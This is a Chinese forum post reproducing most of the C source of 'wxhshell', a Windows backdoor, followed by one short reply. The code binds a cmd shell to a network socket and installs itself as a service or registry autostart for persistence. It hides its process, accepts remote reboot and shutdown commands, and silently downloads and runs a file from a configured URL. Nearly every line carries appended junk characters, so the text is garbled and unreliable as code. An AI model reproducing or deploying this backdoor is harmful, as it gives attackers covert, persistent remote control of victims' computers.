  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x!vyjp  
  else %#PWD7a\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^TjC  
  } = Ezg3$%-  
  else { MX?UmQ'  
AAW] Y#UwW  
    switch(cmd[0]) { s;E(51V<>  
  W}"tf L8  
  // 帮助 y\(xYB>T  
  case '?': { @GGQ13Cj(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n%G[Y^^,  
    break; G@Sqg  
  } Z!Z{Gm3  
  // 安装 a(*"r:/lD  
  case 'i': { MxUbx+_N  
    if(Install()) ?.uhp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k@s<*C  
    else ixK9/5T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 08{^Ksg  
    break; -;ra(L`  
    } r}sO},i  
  // 卸载 ?'|GGtvm  
  case 'r': { tCoE4Ed  
    if(Uninstall()) p&u\gSo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =cb!2%?}  
    else 5O]ZX3z>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rBU)@IpDG  
    break; .qKfhHJ  
    } o8H\l\(  
  // 显示 wxhshell 所在路径 M(:bM1AD`u  
  case 'p': { 9Iq<*\V 4  
    char svExeFile[MAX_PATH]; +'iqGg-  
    strcpy(svExeFile,"\n\r"); TQ :e! 32  
      strcat(svExeFile,ExeFile); \kf n,m  
        send(wsh,svExeFile,strlen(svExeFile),0); FV7'3fIa  
    break; 0UW_ Pbh6  
    } Y:#B0FD,gC  
  // 重启 [u=yl0f  
  case 'b': { n @R/zy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c`hENPhW  
    if(Boot(REBOOT)) #8 ^b]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tS5J{j>T  
    else { #G?#ot2o  
    closesocket(wsh); /ueOc<[8"  
    ExitThread(0); g.blDOmlc  
    } KHx;r@{<  
    break; __s'/ 6u  
    } |,S]EHIy  
  // 关机 RRYcg{g  
  case 'd': { )F\kGe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fv+d3s?h  
    if(Boot(SHUTDOWN)) <HTz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pDJN}XtjT  
    else { -{J0~1'#-  
    closesocket(wsh); ?~T(Cue>  
    ExitThread(0); +4Wl  
    }   )*6  
    break; #H4<8B  
    } ~Ym*QSD  
  // 获取shell ]bmf}&  
  case 's': { 0%;| B  
    CmdShell(wsh); UWhHzLcXh  
    closesocket(wsh); `F1Yfm jZT  
    ExitThread(0); 4+nZ4a>LH?  
    break; |+JO]J#bc  
  } p,|)qr:M  
  // 退出 R/fE@d2~In  
  case 'x': { 92R,o'#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }.U(Gxu$  
    CloseIt(wsh); OC-d5P  
    break; c+7I  
    } d8R|0RZ  
  // 离开 #*lDKn[vO  
  case 'q': { q[W@.[2y)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uHbbPtk  
    closesocket(wsh); '@WBq!p  
    WSACleanup(); 8tf>G(I{  
    exit(1); ]]`[tVaFr  
    break; Z,\(bW qF  
        } N%q{CYF6  
  } =h=-&DSA  
  } `1Md1e:J  
>ifys)wg>  
  // 提示信息 zVe,HKF/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "}%j'  
} #nft{AN  
  } -kP2Brm  
9-&@Y  
  return; .YH#+T'  
} {|j-e{*  
$AvaOI.l  
// shell模块句柄 K.&6c,P]  
int CmdShell(SOCKET sock) 6Fk[wH 7  
{ sAs`O@  
STARTUPINFO si; w 8cnSO  
ZeroMemory(&si,sizeof(si)); U8HuqFC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  tj8o6N#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |F'eT 4  
PROCESS_INFORMATION ProcessInfo; e.(d?/!F_  
char cmdline[]="cmd"; ygm6(+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0$Zh4Y  
  return 0; )@y'$)5s  
} &gC)%*I 4  
0pB'^Q{  
// 自身启动模式 P@n rcgM.  
int StartFromService(void) \k6OP  
{ t4~?m{  
typedef struct 2v4&'C  
{ B VH)!]m0  
  DWORD ExitStatus; qX6zk0I a  
  DWORD PebBaseAddress; VC Ay~,  
  DWORD AffinityMask; dvY3=~'  
  DWORD BasePriority; i!JSEQ_8  
  ULONG UniqueProcessId; '&gUAt  
  ULONG InheritedFromUniqueProcessId; j\Fbi3H  
}   PROCESS_BASIC_INFORMATION; $(OL#>9Ly  
G%i&C)jZ  
PROCNTQSIP NtQueryInformationProcess; !^1oH**  
@^-f +o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }095U(@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ov\%*z2=  
h]|2b0  
  HANDLE             hProcess; i1b3>H*3  
  PROCESS_BASIC_INFORMATION pbi; ,y/m5-D!  
,g|ht%"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %)^0NQv  
  if(NULL == hInst ) return 0; 6 {3ql:  
9NU-1vd~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RJN LcIm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o@} qPvt0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CJ#Yu3}  
#0#6eT{-  
  if (!NtQueryInformationProcess) return 0; la]Zk  
G"vEtNoV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (15.?9  
  if(!hProcess) return 0; NB(  GE  
'$ G%HUn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9N) Ea:N  
V|nJ%G\  
  CloseHandle(hProcess); xFp9H'j{  
" 68=dC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A/j'{X!z  
if(hProcess==NULL) return 0; 1ahb:Mjv  
XFww|SG$  
HMODULE hMod; $uK[[k~=S  
char procName[255]; PbMvM  
unsigned long cbNeeded; W%9"E??c  
5(Xq58nhxI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9w\C vO&R  
5y~B/.YY  
  CloseHandle(hProcess); 1py >[II@  
J+hifO  
if(strstr(procName,"services")) return 1; // 以服务启动 zKG]7  
gvP.\,U  
  return 0; // 注册表启动 ^c sOXP=Yp  
} 8Y;>3z th7  
,/Y$%.Rp  
// 主模块 '}P$hP_d  
int StartWxhshell(LPSTR lpCmdLine) R_:-Z .  
{ h#|Ac>fz  
  SOCKET wsl; a-5#8  
BOOL val=TRUE; gkx<<)y l  
  int port=0; -N2m|%B  
  struct sockaddr_in door; -PiZvge  
%9t=Iu*  
  if(wscfg.ws_autoins) Install(); .8CfCRq  
q&wv{  
port=atoi(lpCmdLine); EixAmG  
f{D~ZC.*  
if(port<=0) port=wscfg.ws_port; kAoh#8=  
*AYjMCo  
  WSADATA data; !t&C,@Ox  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u$x'P <b  
o-]8)G>~M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o1<Z; 2#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xkp`1UTH  
  door.sin_family = AF_INET; ]#$r TWMl'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Jm)2@  
  door.sin_port = htons(port); "LVN:|!  
]5eZLXM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yf e4}0}  
closesocket(wsl); 0:>C v<N  
return 1; Yp9%u9tNq  
} bLz('mUY  
v,c:cKj  
  if(listen(wsl,2) == INVALID_SOCKET) { `%0k\,}V  
closesocket(wsl); 8uetv  
return 1; 3 W?H^1t  
} >vQKCc|93  
  Wxhshell(wsl); lMXLd91  
  WSACleanup(); QPsvc6ds  
/KCIb:U  
return 0; H^w Inkf>  
_We4%  
} 6J\A%i  
Dt+u f5o(  
// 以NT服务方式启动 IeE6?!,)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5' 3H$%dC  
{ T4"*w  
DWORD   status = 0; ZL- ` 3x  
  DWORD   specificError = 0xfffffff; uy=E92n3  
1Q??R }  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DYL\=ya1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &vS@-K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;8<lgZ9H<  
  serviceStatus.dwWin32ExitCode     = 0; Kdd5ysTQ  
  serviceStatus.dwServiceSpecificExitCode = 0; #TY[\$BHs  
  serviceStatus.dwCheckPoint       = 0; ~`Rooh3m  
  serviceStatus.dwWaitHint       = 0; [~IFg~*,  
.^?Z3iA",  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~^"s.Lsb  
  if (hServiceStatusHandle==0) return; +WFa4NZ  
@)Sd3xw[  
status = GetLastError(); 0[SrRpD  
  if (status!=NO_ERROR) BQ77 n2(@  
{ P;l D ri  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =:v5` :  
    serviceStatus.dwCheckPoint       = 0; gS ^Y?  
    serviceStatus.dwWaitHint       = 0; :.NCS`z_  
    serviceStatus.dwWin32ExitCode     = status; hc5iIJ]  
    serviceStatus.dwServiceSpecificExitCode = specificError; AU H_~SY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H-Or  
    return; EN2/3~syO-  
  } L)/^%/!  
]Saw}agE[%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [%BWCd8Q~P  
  serviceStatus.dwCheckPoint       = 0; e5.sqft  
  serviceStatus.dwWaitHint       = 0; FKu^{'Y6E0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /hbdQm  
} ST^{?Q  
o^& nkR  
// 处理NT服务事件,比如:启动、停止 6ALUd^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tY $4k26  
{ }h_= n>  
switch(fdwControl) LDq(WPI1#  
{ nM&UdKf3  
case SERVICE_CONTROL_STOP:  ,L7:3W  
  serviceStatus.dwWin32ExitCode = 0; bmGtYv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GxcW^{;  
  serviceStatus.dwCheckPoint   = 0; 5_Opx=  
  serviceStatus.dwWaitHint     = 0; A LnE[}N6,  
  { 5Lm<3:7Q+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3r,^is  
  } /s~&$(d59o  
  return; \I`g[nT|  
case SERVICE_CONTROL_PAUSE: e't1.%w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !mRDzr7  
  break; 3k?|-js  
case SERVICE_CONTROL_CONTINUE: XYsU)(;j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ! V;glx[  
  break; >>HC|  
case SERVICE_CONTROL_INTERROGATE: $79-)4;z4  
  break; t:.ZvA3  
}; LuW^Ga"E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5X"WgR;  
} 23WlUM  
b&Go'C{p  
// 标准应用程序主函数 d<B=p&~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K_E- Hgg_  
{ 7[u$!.4{*  
:yC|Q)  
// 获取操作系统版本 WL/9r *jW  
OsIsNt=GetOsVer(); "f<+~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W0>fu>  
)MJy  
  // 从命令行安装 GjvTYg~  
  if(strpbrk(lpCmdLine,"iI")) Install(); (dVrGa54  
:#zv,U&OC  
  // 下载执行文件 ?3+>% bO  
if(wscfg.ws_downexe) { 0I@Cx {$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ac??lHtH9  
  WinExec(wscfg.ws_filenam,SW_HIDE); `SSUQ#@  
} @&M$oI$4*  
0vm}[a4+i;  
if(!OsIsNt) { JqYt^,,Q:  
// 如果时win9x,隐藏进程并且设置为注册表启动 vAp?Zl?g  
HideProc(); uA2-&smw  
StartWxhshell(lpCmdLine); f$^+;j  
} Q.Ljz Z  
else i@ XFnt  
  if(StartFromService()) 5!)_" u3  
  // 以服务方式启动 oc3}L^aD  
  StartServiceCtrlDispatcher(DispatchTable); (N25.}8Y  
else mMRdnf!Uid  
  // 普通方式启动 bkfk9P  
  StartWxhshell(lpCmdLine); Rk.GrLp  
vswBK-w(Z  
return 0; @n:.D9  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五